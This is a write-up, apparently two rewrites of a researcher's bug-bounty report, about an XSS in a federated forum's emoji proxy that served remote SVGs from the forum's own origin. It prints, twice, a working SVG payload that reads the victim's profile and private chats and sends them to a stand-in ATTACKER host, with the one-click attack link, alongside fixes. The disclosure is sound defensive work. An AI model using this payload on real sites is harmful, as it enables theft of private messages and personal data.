I Found an XSS That Steals Private Chats Through a Single Emoji Link
A federated forum proxied remote emoji SVGs through its own origin, so a script embedded in an SVG ran with the forum's session. An attacker could send a link that made the victim's browser fetch profile data and private chats and send them to an attacker-controlled server.
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
A federated forum exposes an emoji endpoint that fetches remote emoji assets and serves them back to users. The route in question is /emoji/ap/, and its job is to proxy remote content, in this case SVGs, so that emoji hosted on other federated servers can be displayed on the local forum.
Because the proxy serves the fetched asset from the forum's own origin, anything the remote server puts inside that asset is delivered to the browser as first-party content of the forum.
Setup
The write-up does not describe any accounts, roles, tooling versions or special preconditions. The researcher, M Kiran Kumar (sh3llwolf), was simply examining how the emoji endpoint handled remote content. The only infrastructure mentioned is an attacker-controlled host, referred to in the payload as ATTACKER, used to receive exfiltrated data, and a victim who is sent a single link.
Finding it
While poking at the federated forum's emoji endpoint, the researcher noticed that the /emoji/ap/ route was fetching remote SVGs and serving them from the forum's own origin.
The reasoning that follows is about what an SVG actually is. SVG is not a bitmap image format; it is XML, and XML can contain <script> tags. If a browser renders an SVG as a document, rather than embedding it through an <img> tag, that script executes. The forum was doing exactly that: proxying remote emoji SVGs through its own domain, so a script inside the SVG would run in the context of the forum itself, same-origin, with the victim's session.
Exploitation
Step 1: host a malicious SVG
The researcher prepared an SVG containing script that requests data from the forum's own API and sends it to an external host:
<svg xmlns=”http://www.w3.org/2000/svg”>
<script>
fetch(‘/api/self’, {credentials:’same-origin’})
.then(r=>r.json())
.then(d=>{ new Image().src=’https://ATTACKER/exfil?d='+btoa(JSON.stringify(d))); });
fetch(‘/api/v3/chats?perPage=20’, {credentials:’same-origin’})
.then(r=>r.json())
.then(d=>{ new Image().src=’https://ATTACKER/exfil?d2='+btoa(JSON.stringify(d)); });
</script>
</svg>
The script makes two same-origin requests. The first calls /api/self with credentials:'same-origin', which returns the victim's own profile data. The second calls /api/v3/chats?perPage=20, again with credentials:'same-origin', which returns the victim's private chats. Each response is parsed as JSON, base64-encoded, and sent out through the src of a newly created Image object pointing at https://ATTACKER/exfil, using the d parameter for the profile data and d2 for the chats.
Step 2: send the victim a link
The victim was sent this link:
https://target/emoji/ap/pwn1/attacker-host
When the victim opens it, the forum fetches the SVG from the remote host, serves it from its own origin, and the script runs. Profile data and private chats are sent to the attacker's server.
No cookie theft is involved. There is no document.cookie access. The script is already inside the origin, so it simply asks the forum for the data, and the forum answers as it would for any legitimate same-origin request.
Root cause
The proxy turns a third-party asset into first-party content. Because the SVG is served from the forum's own origin and rendered as a document, the same-origin policy offers no protection: the script is not crossing an origin boundary, it is already inside one. HttpOnly cookies are irrelevant for the same reason, since the script never needs to read a cookie; it only needs to make requests, and the browser attaches the session automatically.
The report does not describe any server-side sanitisation of the proxied SVG. The whole exploit is one click.
Impact
An attacker who can get a victim to open a crafted emoji link can read that victim's profile data and private chats through the forum's own API and exfiltrate them to a server they control. The report frames this as a consequence of federation: every remote server is a potential attacker, and rendering their content from the forum's origin gives that content the forum's privileges.
Fix
The report's fix section lists:
- Serve remote SVGs from a sandboxed domain, or sanitise them before proxying.
- Apply
Content-Security-Policy: script-src 'none'on the emoji route. - Patch the instance.
Variants to test
- Other proxy routes that fetch remote assets and serve them from the first-party origin. A positive result is a response whose
Content-Typeis an SVG or other active content and whose body is rendered as a document rather than embedded as an image. - A positive result is script execution in the target origin.
- A positive result is the proxied body executing script under the forum's origin.
- A positive result is a JSON response containing the victim's data, returned without any additional authorisation check beyond the session.
What happened, in plain words
A security researcher named M Kiran Kumar, who goes by sh3llwolf, was looking at a feature on a forum website. This forum is "federated", which means it can talk to other forum servers and show content from them, a bit like how email lets you write to people on a different email provider. The feature he looked at was the emoji endpoint: the part of the site that fetches little emoji pictures from other servers so they can appear in posts.
He found that the forum was taking files from other servers and handing them to visitors as if the forum itself had made them. One of those file types, SVG, can secretly contain a small program. Because the forum served the file from its own address, that program ran with the forum's own powers, inside the visitor's logged-in session. The program then asked the forum for the visitor's profile details and private chats, and sent them to a server the researcher controlled.
The whole attack needed one thing from the victim: opening a single link. This article walks through what each piece means, why it worked, and how to stop it.
The setup
The report does not describe any special accounts, tools or versions. The researcher was simply examining how the emoji endpoint handled content coming from other servers. Two things exist in the story: an attacker-controlled server, called ATTACKER in the code, which receives the stolen data, and a victim, who is sent one link.
A few words you will meet throughout:
- Endpoint: a specific address on a website that does one job, like a counter in a shop that only handles returns.
/emoji/ap/is an endpoint. - Federated: a network of separate servers that share content with each other. Each server is run by different people, and any of them can send content to the others.
- Proxy: a middleman. Instead of your browser fetching a file directly from a far-away server, the forum fetches it and passes it on to you. The forum is the middleman here.
- Origin: the combination of scheme, host and port that identifies who served a page, for example
https://target. Browsers use it to decide which pages are allowed to read each other's data.
Finding it
While poking at the emoji endpoint, the researcher noticed that the /emoji/ap/ route was fetching remote SVGs and serving them from the forum's own origin. In plain terms: someone on another forum server could put an SVG file on their server, and this forum would copy it and hand it to visitors from its own address.
Why does that matter? Because of what an SVG actually is.
- SVG: a picture format that is written in text, like a set of drawing instructions. It is not a photo made of pixels; it is a small document.
- XML: a text format for structured documents, built from tags in angle brackets, such as
<svg>and</svg>. SVG is a kind of XML. <script>tag: a tag that tells a browser "run the program written between these tags". XML can contain one.
So an SVG is not just a picture. It is a document that can carry a program. Whether that program runs depends on how the browser is shown the file. If the SVG is embedded in a page through an <img> tag, the browser treats it as a picture and the program does not run. If the browser opens the SVG as a page in its own right, the program runs.
The forum was doing the second thing: proxying remote emoji SVGs through its own domain, so a script inside the SVG would run in the context of the forum itself, same-origin, with the victim's session. "Same-origin" means the program is treated as part of the forum, not as an outsider. "With the victim's session" means the browser still knows who the visitor is and will hand over their data when asked.
Exploitation
Step 1: host a malicious SVG
The researcher prepared an SVG containing script that requests data from the forum's own API and sends it to an external host:
<svg xmlns=”http://www.w3.org/2000/svg”>
<script>
fetch(‘/api/self’, {credentials:’same-origin’})
.then(r=>r.json())
.then(d=>{ new Image().src=’https://ATTACKER/exfil?d='+btoa(JSON.stringify(d))); });
fetch(‘/api/v3/chats?perPage=20’, {credentials:’same-origin’})
.then(r=>r.json())
.then(d=>{ new Image().src=’https://ATTACKER/exfil?d2='+btoa(JSON.stringify(d)); });
</script>
</svg>
Line by line, in plain words:
<svg xmlns=”http://www.w3.org/2000/svg”>opens the picture document and says which flavour of XML it is. Everything until the closing</svg>belongs to the picture.<script>starts a program. This is the part that turns a harmless-looking emoji into an attack.fetch(‘/api/self’, {credentials:’same-origin’})asks the forum for the address/api/self. An API is a set of addresses a website offers so that programs, not just people clicking buttons, can ask it for data./api/selfis the address that returns the details of whoever is logged in. Thecredentials:'same-origin'part tells the browser to attach the visitor's login information to the request, because the request goes to the same site the script came from..then(r=>r.json())waits for the answer and turns it into a JSON object, a common text format for data, something like{"name": "...", "bio": "..."}..then(d=>{ new Image().src=’https://ATTACKER/exfil?d='+btoa(JSON.stringify(d))); });takes that data, turns it into text, encodes it with base64 (a way of writing any data using only letters, digits and a few symbols, so it can travel safely inside a web address), and puts it on the end of a URL pointing at the attacker's server. It then creates a tiny invisible image whose address is that URL. The browser tries to load the image, which means it sends the data to the attacker. This trick is called exfiltration: getting data out.- The second
fetch(‘/api/v3/chats?perPage=20’, {credentials:’same-origin’})does the same thing for a different address./api/v3/chatsreturns the visitor's chats, and?perPage=20asks for 20 of them per page. - The next two lines parse that answer as JSON and send it to
https://ATTACKER/exfilas well, this time in a parameter calledd2so it does not get mixed up with the profile data ind. </script>and</svg>close the program and the picture.
Why two requests? Because the researcher wanted two different kinds of private data: who the visitor is, and what they have been saying in private. Both are fetched the same way, because from the script's point of view the forum is a normal, trusted site.
Step 2: send the victim a link
The victim was sent this link:
https://target/emoji/ap/pwn1/attacker-host
Reading it from left to right: https://target is the forum. /emoji/ap/ is the emoji endpoint. pwn1 and attacker-host are path segments in the link. The victim just opens the link.
When the victim opens it, the forum fetches the SVG from the remote host, serves it from its own origin, and the script runs. Profile data and private chats are sent to the attacker's server.
No cookie theft is involved. There is no document.cookie access. A cookie is a small piece of data a site stores in your browser so it can recognise you on your next request, a bit like a cloakroom ticket. Some cookies are marked HttpOnly, which means programs on the page are not allowed to read them. Here the script never needed to read the ticket. It was already inside the forum, so it simply asked the forum for the data, and the forum answered as it would for any legitimate same-origin request, with the browser quietly attaching the session.
Why this is actually bad
The proxy turns a third-party asset into first-party content. An asset is any file a page loads: an image, a font, a script. Third-party means it came from someone else's server; first-party means it looks like it came from the forum. The forum was laundering other people's files into its own.
The same-origin policy is the browser rule that stops a page from one site reading data from another site. It is the reason a random website cannot read your webmail. Here it offered no protection, because the script was not crossing an origin boundary; it was already inside one. HttpOnly cookies were irrelevant for the same reason: the script never needs to read a cookie, it only needs to make requests, and the browser attaches the session automatically.
The report does not describe any server-side sanitisation of the proxied SVG. Sanitisation means cleaning a file before passing it on, for example by removing anything that can run as a program. The whole exploit is one click.
Impact
An attacker who can get a victim to open a crafted emoji link can read that victim's profile data and private chats through the forum's own API and exfiltrate them to a server they control. The report frames this as a consequence of federation: every remote server is a potential attacker, and rendering their content from the forum's origin gives that content the forum's privileges.
This kind of bug is called XSS, short for cross-site scripting: getting a program to run inside someone else's website, in the browser of a visitor, so that it acts with that website's trust. The name is a little misleading here, because nothing crosses sites at the end; the script is served by the forum itself.
The fix
The report recommends:
- Serve remote SVGs from a sandboxed domain, or sanitise them before proxying. A sandboxed domain is a separate address, for example one used only for untrusted files, so that anything running there cannot touch the main site's data.
- Apply
Content-Security-Policy: script-src 'none'on the emoji route. Content-Security-Policy is a header, a line of instructions the server sends with a page, that tells the browser what the page is allowed to do.script-src 'none'means "no programs at all on this page". - Patch the instance. An instance is one running copy of the forum software, the one you actually use.
Variants to test
A variant is the same idea applied in a slightly different place.
- A positive result is a response whose
Content-Typeis an SVG or other active content and whose body is rendered as a document rather than embedded as an image.Content-Typeis the label a server puts on a file saying what kind of file it is. - A positive result is script execution in the target origin.
- A positive result is the proxied body executing script under the forum's origin.
- A positive result is a JSON response containing the victim's data, returned without any additional authorisation check beyond the session.
- Inline script is a program written directly inside the page, like the one in the SVG, rather than loaded from a separate file.
Glossary
- API: a set of addresses a website offers so that programs can ask it for data or actions, separate from the pages people click through.
- Asset: any file a web page loads, such as an image, font or script.
- Base64: a way of writing any data using only letters, digits and a few symbols, so it can be carried inside a web address.
- Content-Security-Policy: a header the server sends telling the browser what a page is allowed to load or run.
- Content-Type: the label a server puts on a file saying what kind of file it is.
- Cookie: a small piece of data a site stores in your browser so it can recognise you on later requests.
- Endpoint: a specific address on a website that performs one job.
- Exfiltration: getting data out of a system to a place the attacker controls.
- Federated: made of separate servers that share content with each other, where any server can send content to the others.
- HttpOnly: a cookie setting that stops programs on the page from reading that cookie.
- Inline script: a program written directly inside a page or document, rather than loaded from a separate file.
- Instance: one running copy of a piece of software, the one you actually use.
- JSON: a common text format for data, built from names and values in curly braces.
- Origin: the combination of scheme, host and port that identifies who served a page, used by browsers to decide which pages may read each other's data.
- Proxy: a middleman that fetches something on your behalf and passes it on.
- Sandboxed domain: a separate address used for untrusted content, so that anything running there cannot reach the main site's data.
- Sanitisation: cleaning a file before passing it on, for example by removing anything that can run as a program.
- Same-origin policy: the browser rule that stops a page from one site reading data from another site.
- Session: the state of being logged in, which the browser proves on each request with a cookie.
- SVG: a picture format written in text as drawing instructions, which is a kind of XML and can contain a script.
- Variant: the same idea applied in a slightly different place or way.
- XML: a text format for structured documents, built from tags in angle brackets.
- XSS: cross-site scripting, getting a program to run inside someone else's website in a visitor's browser, so that it acts with that website's trust.